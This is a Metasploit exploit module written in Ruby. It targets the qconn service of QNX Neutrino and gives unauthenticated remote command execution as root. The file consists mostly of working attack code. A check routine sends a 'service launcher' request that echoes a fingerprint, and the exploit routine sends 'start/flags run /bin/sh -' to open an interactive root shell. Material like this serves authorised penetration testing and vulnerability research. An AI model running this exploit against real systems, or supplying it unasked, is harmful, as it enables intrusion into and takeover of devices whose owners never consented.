##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "QNX QCONN Remote Command Execution Vulnerability",
'Description' => %q{
This module exploits a vulnerability in the qconn component of
QNX Neutrino which can be abused to allow unauthenticated users to
execute arbitrary commands under the context of the 'root' user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'David Odell', # Discovery
'Mor!p3r <moriper[at]gmail.com>', # PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '21520'],
['URL', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
['URL', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'],
],
'Payload' =>
{
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' =>
{
'WfsDelay' => 10,
'PAYLOAD' => 'cmd/unix/interact',
},
'Platform' => 'unix', # QNX Neutrino
'Arch' => ARCH_CMD,
'Targets' =>
[
# Tested on QNX Neutrino 6.5 SP1
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => 'Sep 4 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8000)
], self.class)
end
def check
@peer = "#{rhost}:#{rport}"
# send check
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
print_status("#{@peer} - Sending check")
connect
req = "service launcher\n"
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
sock.put(req)
res = sock.get
disconnect
# check response
if res and res =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
elsif res and res =~ /QCONN/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def exploit
@peer = "#{rhost}:#{rport}"
# send payload
req = "service launcher\n"
req << "start/flags run /bin/sh -\n"
print_status("#{@peer} - Sending payload (#{req.length} bytes)")
connect
sock.put(req)
res = sock.get
# check response
if res and res =~ /No controlling tty/
print_good("#{@peer} - Payload sent successfully")
else
print_error("#{@peer} - Sending payload failed")
end
handler
disconnect
end
end
